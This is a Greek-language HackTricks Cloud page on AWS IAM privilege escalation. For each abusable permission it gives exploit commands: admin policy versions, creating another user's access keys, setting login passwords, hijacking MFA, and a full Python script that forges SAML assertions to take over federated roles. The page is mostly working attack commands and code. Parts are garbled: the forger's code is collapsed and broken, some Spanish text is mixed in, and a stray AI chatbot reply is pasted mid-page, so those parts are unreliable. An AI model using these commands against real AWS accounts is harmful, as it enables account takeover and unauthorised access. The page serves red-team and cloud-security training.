AWS - IAM Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
IAM
Για περισσότερες πληροφορίες σχετικά με το IAM δείτε:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Παρέχει τη δυνατότητα δημιουργίας νέας έκδοσης policy του IAM, παρακάμπτοντας την ανάγκη για την άδεια iam:SetDefaultPolicyVersion μέσω της χρήσης της σημαίας --set-as-default. Αυτό επιτρέπει τον ορισμό προσαρμοσμένων δικαιωμάτων.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Επίδραση: Αναβαθμίζει απευθείας τα προνόμια επιτρέποντας οποιαδήποτε ενέργεια σε οποιονδήποτε πόρο.
iam:SetDefaultPolicyVersion
Επιτρέπει την αλλαγή της προεπιλεγμένης έκδοσης μιας πολιτικής IAM σε άλλη υπάρχουσα έκδοση, ενδεχομένως αυξάνοντας τα προνόμια εάν η νέα έκδοση έχει περισσότερα δικαιώματα.
Εντολή Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Επίπτωση: Έμμεση κλιμάκωση προνομίων επιτρέποντας περισσότερα δικαιώματα.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Επιτρέπει τη δημιουργία access key ID και secret access key για άλλον χρήστη, που μπορεί να οδηγήσει σε πιθανή κλιμάκωση προνομίων.
Εκμετάλλευση:
aws iam create-access-key --user-name <target_user>
Impact: Άμεση κλιμάκωση προνομίων με την ανάληψη των εκτεταμένων δικαιωμάτων άλλου χρήστη.
Σημειώστε ότι ένας χρήστης μπορεί να έχει μόνο 2 access keys, οπότε αν ένας χρήστης έχει ήδη 2 access keys θα χρειαστείτε το δικαίωμα iam:DeleteAccessKey για να διαγράψετε ένα από αυτά ώστε να μπορείτε να δημιουργήσετε ένα νέο:
aws iam delete-access-key --access-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Αν μπορείτε να δημιουργήσετε μια νέα εικονική συσκευή MFA και να την ενεργοποιήσετε σε άλλο χρήστη, μπορείτε ουσιαστικά να εγγράψετε το δικό σας MFA για εκείνον τον χρήστη και στη συνέχεια να ζητήσετε μια συνεδρία με υποστήριξη MFA για τα διαπιστευτήριά του.
Εκμετάλλευση:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Επιπτώσεις: Άμεση κλιμάκωση προνομίων με την ανάληψη της εγγραφής MFA ενός χρήστη (και στη συνέχεια χρησιμοποιώντας τα δικαιώματά του).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Επιτρέπει τη δημιουργία ή ενημέρωση ενός προφίλ σύνδεσης, συμπεριλαμβανομένης της ρύθμισης κωδικών για σύνδεση στην κονσόλα AWS, οδηγώντας σε άμεση κλιμάκωση προνομίων.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit για Ενημέρωση:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Άμεση κλιμάκωση προνομίων με σύνδεση ως “οποιοσδήποτε” χρήστης.
iam:UpdateAccessKey
Επιτρέπει την ενεργοποίηση ενός απενεργοποιημένου κλειδιού πρόσβασης, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση εάν ο επιτιθέμενος κατέχει το απενεργοποιημένο κλειδί.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Επίπτωση: Άμεση ανύψωση προνομίων μέσω επανενεργοποίησης των access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Επιτρέπει τη δημιουργία ή επαναφορά διαπιστευτηρίων για συγκεκριμένες υπηρεσίες AWS (συνηθέστερα CodeCommit). Αυτά δεν είναι AWS API keys: είναι διαπιστευτήρια τύπου username/password για μια συγκεκριμένη υπηρεσία, και μπορείτε να τα χρησιμοποιήσετε μόνο όπου αυτή η υπηρεσία τα αποδέχεται.
Δημιουργία:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Αποθήκευσε:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Παράδειγμα:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Σημείωση: Ο κωδικός της υπηρεσίας συνήθως περιέχει χαρακτήρες όπως
+,/και=. Η χρήση του interactive prompt είναι συνήθως η πιο απλή. Αν τον ενσωματώσετε σε ένα URL, κάντε πρώτα URL-encode.
Σε αυτό το σημείο μπορείτε να διαβάσετε ό,τι ο χρήστης-στόχος μπορεί να προσπελάσει στο CodeCommit (π.χ., a leaked credentials file). Εάν ανακτήσετε AWS access keys από το repo, ρυθμίστε ένα νέο AWS CLI profile με αυτά τα κλειδιά και στη συνέχεια αποκτήστε πρόσβαση σε πόρους (για παράδειγμα, read a flag από Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Επαναφορά:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Επίπτωση: Αναβάθμιση προνομίων στα δικαιώματα του στοχευόμενου χρήστη για την εν λόγω υπηρεσία (και ενδεχομένως πέραν αυτής εάν κάνετε pivot χρησιμοποιώντας δεδομένα που ανακτήθηκαν από αυτή την υπηρεσία).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Επιτρέπει την επισύναψη policies σε users ή groups, αυξάνοντας άμεσα τα προνόμια μέσω κληρονόμησης των δικαιωμάτων της attached policy.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit για Ομάδα:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Επιπτώσεις: Άμεση κλιμάκωση προνομίων σε οτιδήποτε παρέχει η πολιτική.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Επιτρέπει την προσάρτηση ή τοποθέτηση policies σε roles, users ή groups, επιτρέποντας άμεση κλιμάκωση προνομίων με την παροχή επιπλέον permissions.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit για Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Μπορείτε να χρησιμοποιήσετε μια πολιτική όπως:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impact: Άμεση κλιμάκωση προνομίων προσθέτοντας δικαιώματα μέσω πολιτικών.
iam:AddUserToGroup
Επιτρέπει σε κάποιον να προσθέσει τον εαυτό του σε μια ομάδα IAM, κλιμακώνοντας τα προνόμια μέσω της κληρονόμησης των δικαιωμάτων της ομάδας.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Άμεση κλιμάκωση προνομίων στο επίπεδο των δικαιωμάτων της ομάδας.
iam:UpdateAssumeRolePolicy
Επιτρέπει την τροποποίηση του εγγράφου assume role policy ενός role, επιτρέποντας την ανάληψη του role και των συσχετιζόμενων δικαιωμάτων του.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Όταν η πολιτική φαίνεται ως εξής, δίνοντας στον χρήστη την άδεια να αναλάβει τον ρόλο:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Επίπτωση: Direct privilege escalation by assuming any role’s permissions.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Επιτρέπει το ανέβασμα ενός δημόσιου κλειδιού SSH για authenticating στο CodeCommit και την απενεργοποίηση συσκευών MFA, οδηγώντας σε πιθανή έμμεση privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit για απενεργοποίηση MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Επίπτωση: Έμμεση privilege escalation μέσω ενεργοποίησης πρόσβασης στο CodeCommit ή απενεργοποίησης της προστασίας MFA.
iam:ResyncMFADevice
Επιτρέπει τον επανασυγχρονισμό μιας συσκευής MFA, ενδεχομένως οδηγώντας σε έμμεση privilege escalation μέσω χειραγώγησης της προστασίας MFA.
Εντολή Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Έμμεση κλιμάκωση προνομίων με την προσθήκη ή τον χειρισμό MFA συσκευών.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Με αυτές τις άδειες μπορείτε να αλλάξετε τα XML metadata της SAML σύνδεσης. Στη συνέχεια, μπορείτε να καταχραστείτε την SAML federation για να login με οποιαδήποτε role που την εμπιστεύεται.
Σημειώστε ότι κάνοντας αυτό οι legit users δεν θα μπορούν να login. Ωστόσο, μπορείτε να αποκτήσετε το XML, να αντικαταστήσετε με το δικό σας, να login και να επαναφέρετε την προηγούμενη κατάσταση.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
End-to-end attack:
- Καταγράψτε τον SAML provider και έναν role που τον εμπιστεύεται:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Πλαστογραφήστε metadata IdP + μια υπογεγραμμένη SAML assertion για το ζεύγος role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Πτυσσόμενο: /tmp/saml_forge.py βοηθητικό (μεταδεδομένα + υπογεγραμμένο assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Ενημερώστε τα μεταδεδομένα του SAML provider με το πιστοποιητικό του IdP σας, αναλάβετε τον ρόλο και χρησιμοποιήστε τα επιστρεφόμενα STS διαπιστευτήρια:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Καθαρισμός: επαναφορά προηγούμενων μεταδεδομένων:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Η ενημέρωση των metadata του SAML provider είναι διαταρακτική: όσο τα metadata σας είναι ενεργά, νόμιμοι SSO χρήστες ίσως να μην μπορούν να αυθεντικοποιηθούν.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Δεν είμαι σίγουρος γι’ αυτό) Αν ένας επιτιθέμενος έχει αυτά τα δικαιώματα, θα μπορούσε να προσθέσει ένα νέο Thumbprint και να καταφέρει να συνδεθεί σε όλους τους ρόλους που εμπιστεύονται τον provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Αυτή η άδεια επιτρέπει σε έναν επιτιθέμενο να ενημερώσει το όριο δικαιωμάτων ενός χρήστη, πιθανώς κλιμακώνοντας τα προνόμιά του/της και επιτρέποντάς του/της να εκτελέσει ενέργειες που κανονικά περιορίζονται από τα υπάρχοντα δικαιώματά του/της.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Ένας actor με iam:PutRolePermissionsBoundary μπορεί να ορίσει ένα permissions boundary σε έναν υπάρχοντα role. Ο κίνδυνος προκύπτει όταν κάποιος με αυτήν την άδεια αλλάζει το boundary ενός role: μπορεί να περιορίσει ακατάλληλα λειτουργίες (προκαλώντας διακοπή υπηρεσίας) ή, αν επισυνάψει ένα permissive boundary, στην πράξη να επεκτείνει τι μπορεί να κάνει ο role και να escalate privileges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
Ο attacker δημιουργεί μια virtual MFA συσκευή υπό τον έλεγχό του και την επισυνάπτει στον target IAM user, αντικαθιστώντας ή παρακάμπτοντας το αρχικό MFA του victim. Χρησιμοποιώντας το seed αυτής της attacker-controlled MFA, παράγουν έγκυρα one-time passwords και ζητούν ένα MFA-authenticated session token μέσω STS. Αυτό επιτρέπει στον attacker να ικανοποιήσει την απαίτηση για MFA και να αποκτήσει προσωρινά credentials ως ο victim, ολοκληρώνοντας ουσιαστικά το account takeover παρόλο που το MFA εφαρμόζεται.
If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Δημιουργία νέας εικονικής συσκευής MFA (γράφει το seed σε ένα αρχείο)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
I can — but I need the seed (the Base32 secret) and the TOTP parameters (digits, time step (default 30s), hash algorithm (default SHA1)). Don’t paste secrets in public chats if this is sensitive.
If you provide the seed and parameters I’ll generate the current code and the next consecutive code. If you prefer to run locally, use this Python snippet (requires pyotp):
import time, pyotp totp = pyotp.TOTP(‘BASE32SECRET’) # replace with your Base32 secret print(totp.now()) # current TOTP print(totp.at(int(time.time()) + 30)) # next TOTP (+30s)
Tell me the seed (and any non-default parameters) or run the snippet locally and paste the seed if you want me to compute them here.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Ενεργοποιήστε MFA device στον target user, αντικαταστήστε MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Δημιούργησε έναν τρέχοντα token (για STS)
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Αντέγραψε την τυπωμένη τιμή ως TOKEN_CODE και ζήτησε ένα MFA-backed session token (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

